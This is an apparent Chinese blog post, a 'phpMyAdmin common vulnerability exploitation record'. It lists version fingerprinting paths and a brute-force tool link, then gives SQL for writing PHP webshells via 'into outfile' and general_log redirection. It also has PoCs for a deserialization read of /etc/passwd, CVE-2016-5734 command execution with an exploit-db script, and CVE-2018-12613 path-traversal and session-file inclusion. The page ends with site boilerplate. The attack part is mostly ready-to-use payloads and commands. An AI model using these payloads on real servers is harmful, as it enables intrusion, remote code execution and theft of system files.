phpMyAdmin 常见漏洞利用记录

目录

简介

phpmyadmin版本信息获取

phpmyadmin密码爆破

phpmyadmin文件写入

phpmyadmin日志写shell

phpmyadmin版本漏洞

phpmyadmin 2.x版本反序列化漏洞任意文件读取(wooyun-2016-199433)

CVE-2016-5734 RCE命令执行

CVE-2018-12613 文件包含

结语


简介

        phpMyAdmin 是一 个以 PHP 为基础,以 Web Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库。借由此 Web 接口可以成为 个简易方式输入繁杂 SQL 语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
        大的优势在于由于 phpMyAdmin 跟其他 PHP 程式 样在网页服务器上执行, 但是您可以在任何地方使用这些程式产生的 HTML 页面,也就是于远端管理 M ySQL 数据库,方便的建立、修改、删除数据库及资料表。也可借由 phpMyAd min 建立常用的 php 语法,方便编写网页时所需要的 sql 语法正确性。

phpmyadmin版本信息获取

直接phpmyadmin目录后拼接:

readme.php

README

changelog.php

Change

Documetation.html

Documetation.txt
translators.html
只要管理员不删除这些文件,就可以找到一下相关的信息,只是有些文件是需要进入到后台才能打开的。
后台信息获取:

phpmyadmin密码爆破

可以看看有没有存在注入或者利用爆破工具进行爆破进入后台。

推荐工具 :

https://github.com/J1hng/PMAblast

phpmyadmin文件写入

获取绝对路径:
phpinfo();
查看出错页面获取
利用load_file读取配置文件
查看数据库内容
select @@datadir查看数据库路径猜网站绝对路径

5.0版本之后的mysql数据库会自动创建日志文件,那么在服务运行的情况下修改全局变量也可以改变日志文件的存储位置;但是需要对日志的目录具有读写权限。

查看是否具有写权限:

show varlables like 'secure_file_priv';

secure_file_priv的值为null,表示限制mysql不允许导入|导出;

secure_file_priv的值为/var时,表示限制mysql导入|导出只能在/var目录下;

secure_file_priv的值为空白时,表示不对mysql导入|导出做限制;

可以在mysql.ini文件中进行修改。

如果具有写文件权限的话就可以直接写入shell:

select "<?php phpinfo();?>" into outfile "D:\\phpstudy_pro\\www\\test.php";

不过这里需要用双反斜杠,不然会被转义。

phpmyadmin日志写shell

phpmyadmin有一个记录日志的文件,当into outfile被禁用的话还可以利用日志getshell。

默认情况下是关闭的,开启日志记录,然后设置日志记录名称为.php,之后执行sql语句就会被写入到日志中去。

show variables like 'general_log%';

set global general_log='on'; #手动开启日志

set global general_log_file='d:\\phpstudy_pro\\www\\test.php; #修改日志路径

show variables like "general_log%"; #查看是否开启日志并且更改路径

成功写入。

phpmyadmin版本漏洞

phpmyadmin 2.x版本反序列化漏洞任意文件读取(wooyun-2016-199433)

poc:

POST /scripts/setup.php HTTP/1.1

...

action=test$configuration=0:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

CVE-2016-5734 RCE命令执行

影响版本:

phpmyadmin 4.3.0-4.6.2;

php 4.3.0-5.4.6

主要由于将用户输入的信息拼接进preg_replace函数第一个参数中,在php5.4.7之前的版本中。preg_replace存在漏洞,可以使用0进行截断,并将正则模式修改为e,导致命令执行。

kali中自带exp:

searchsploit phpmyadmin

python3 40185.py -u root -p root -d test -c "system(whoami)" http://127.0.0.1/

CVE-2018-12613 文件包含

影响版本:

phpmyadmin 4.8.0-4.8.1

poc:

index.php?target=db_sql.php%253f/../../../../../../../../../../../etc/passwd

or

/?target=tbl_zoom_select.php?/../../../../../../etc/hosts

然后可以执行一些sql语句记录到日志中去,然后包含。

select '<?php phpinfo()?>';

f12在开发者工具找到phpmyadmin的cookie值

访问:

http://ip:port/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../../../../tmp/sess_safjaubfasklfjkasnflasfn6as4d6sa8das5


结语

已无暇顾及过去,要向前走。

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
引用\[1\]:根据网上公开的phpMyadmin文件包含漏洞,通过代码审计定位危险函数,然后逐步分析,最终确定payload,并通过本地搭建phpMyadminV4.8.1版本成功进行漏洞复现。实际上该漏洞对于大部分版本的phpMyadmin都生效,因此有使用该系统的需要引起格外的重视,及时修补该漏洞。\[1\]引用\[2\]:文件包含漏洞是指在程序中动态引用了用户可控制的文件,而没有对用户输入进行充分的过滤和验证,导致攻击者可以通过构造恶意的文件路径来读取、执行或者包含任意文件。\[2\]引用\[3\]:在phpMyadmin的大部分版本中都存在文件包含漏洞。\[3\] 问题: phpmyadmin漏洞是什么? 回答: phpMyadmin漏洞是指在phpMyadmin程序中存在的文件包含漏洞。该漏洞允许攻击者通过构造恶意的文件路径来读取、执行或者包含任意文件。这个漏洞对于大部分版本的phpMyadmin都生效,因此使用该系统的用户需要格外重视,并及时修补该漏洞。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* *2* *3* [phpmyadminV4.8.1本地文件包含漏洞复现](https://blog.csdn.net/weixin_64551911/article/details/125609281)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cheng-Ling

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值